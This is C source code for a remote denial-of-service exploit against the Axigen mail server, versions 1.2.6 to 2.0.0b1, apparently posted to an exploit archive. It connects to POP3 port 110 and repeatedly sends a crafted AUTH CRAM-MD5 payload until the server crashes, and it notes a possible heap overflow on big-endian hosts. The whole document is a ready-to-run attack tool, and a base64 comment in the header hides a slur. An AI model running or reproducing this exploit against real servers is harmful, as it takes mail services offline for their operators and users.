Axigen <= 2.0.0b1 Remote Denial of Service Exploit
[code]/* doaxigen.c
*
* axigen 1.2.6 - 2.0.0b1 DoS (x86-lnx)
* by mu-b - Sat Oct 22 2006
*
* - Tested on: AXIGEN 1.2.6 (lnx)
* AXIGEN 2.0.0b1 (lnx)
*
* 0x08088054: parsing error results in DoS (little-endian, confirmed)
* DoS + off-by-one heap smash (big-endian)
*
* Note: if you receive a SIGPIPE then you crashed the server
* but at too high a memory address... try again.
*/
/* dGFicyBhcmUgZm9yIGZhZ2dvdHNcIQ== */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#define BUF_SIZE 1024
#define BBUF_SIZE BUF_SIZE/3*4+1
#define AUTH_CMD "AUTH CRAM-MD5\r\n"
#define QUIT_CMD "QUIT\r\n"
#define DEF_PORT 110
#define PORT_POP3 DEF_PORT
#define RCNT_DELAY 3
static const char base64tab[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static int base64 (const u_char * ibuf, u_char * obuf, size_t n);
static int sock_send (int sock, u_char * src, int len);
static int sock_recv (int sock, u_char * dst, int len);
static void zhammer (u_char * host);
static int
base64 (const u_char * ibuf, u_char * obuf, size_t n)
{
int a, b, c;
int i, j;
int d, e, f, g;
a = b = c = 0;
for (j = i = 0; i < n; i += 3)
{
a = (u_char) ibuf[i];
b = i + 1 < n ? (u_char) ibuf[i + 1] : 0;
c = i + 2 < n ? (u_char) ibuf[i + 2] : 0;
d = base64tab[a >> 2];
e = base64tab[((a & 3) << 4) | (b >> 4)];
f = base64tab[((b & 15) << 2) | (c >> 6)];
g = base64tab[c & 63];
if (i + 1 >= n)
f = '=';
if (i + 2 >= n)
g = '=';
obuf[j++] = d, obuf[j++] = e;
obuf[j++] = f, obuf[j++] = g;
}
obuf[j++] = '\0';
return strlen (obuf);
}
static int
sock_send (int sock, u_char * src, int len)
{
int sbytes;
sbytes = send (sock, src, len, 0);
return (sbytes);
}
static int
sock_recv (int sock, u_char * dst, int len)
{
int rbytes;
rbytes = recv (sock, dst, len, 0);
if (rbytes >= 0)
dst[rbytes] = '\0';
return (rbytes);
}
static int
sockami (u_char * host, int port)
{
struct sockaddr_in address;
struct hostent *hp;
int sock;
fflush (stdout);
if ((sock = socket (AF_INET, SOCK_STREAM, 0)) == -1)
{
perror ("socket()");
exit (-1);
}
if ((hp = gethostbyname (host)) == NULL)
{
perror ("gethostbyname()");
exit (-1);
}
memset (&address, 0, sizeof (address));
memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
address.sin_family = AF_INET;
address.sin_port = htons (port);
if (connect (sock, (struct sockaddr *) &address, sizeof (address)) == -1)
{
perror ("connect()");
exit (EXIT_FAILURE);
}
return (sock);
}
static void
zhammer (u_char * host)
{
int sock, rbytes;
u_int i;
u_char *md5 = "\" d339490346794f964736669ae26e29df"; /* what was that? */
u_char sbuf[BBUF_SIZE], *sptr;
u_char rbuf[BUF_SIZE];
fd_set r_fds;
struct timeval tv;
base64 (md5, sbuf, strlen (md5));
sptr = sbuf + strlen (sbuf);
*sptr++ = '\r', *sptr++ = '\n', *sptr = '\0';
printf ("+Connecting to %s:%d.", host, PORT_POP3);
sock = sockami (host, PORT_POP3);
rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
if (rbytes < 0)
return;
for (i = 0; i < -1; i++)
{
int rbytes;
sock_send (sock, AUTH_CMD, strlen (AUTH_CMD));
rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
if (rbytes < 0)
break;
sock_send (sock, sbuf, strlen (sbuf));
FD_ZERO (&r_fds);
FD_SET (sock, &r_fds);
tv.tv_sec = 4; /* wait 4 seconds */
tv.tv_usec = 0;
rbytes = select (sock + 1, &r_fds, NULL, NULL, &tv);
if (rbytes == -1) /* oh dear */
perror ("select()");
else if (rbytes) /* read response */
rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
else /* timeout, server appears to have crashed!@$%! */
break;
/* hmmm, too many attempts, must re-connect... */
if (strstr (rbuf, "(maximum number of protocol errors reached)"))
{
close (sock);
sleep (RCNT_DELAY);
printf ("\n+Reconnecting to %s:%d.", host, PORT_POP3);
sock = sockami (host, PORT_POP3);
rbytes = sock_recv (sock, rbuf, sizeof (rbuf) - 1);
}
if (rbytes < 0)
break;
if (!((i + 1) % 4))
printf ("..%d", i + 1);
fflush (stdout);
usleep (1000);
}
printf ("\n");
}
int
main (int argc, char **argv)
{
printf ("axigen 1.2.6 - 2.0.0b1 DoS POC\n"
"by: <[email]mu-b@digit-labs.org[/email]>, <[email]mu-b@65535.com[/email]>\n\n");
if (argc <= 1)
{
fprintf (stderr, "Usage: %s <host>\n", argv[0]);
exit (EXIT_SUCCESS);
}
zhammer (argv[1]);
printf ("+Wh00t!\n");
return (EXIT_SUCCESS);
}
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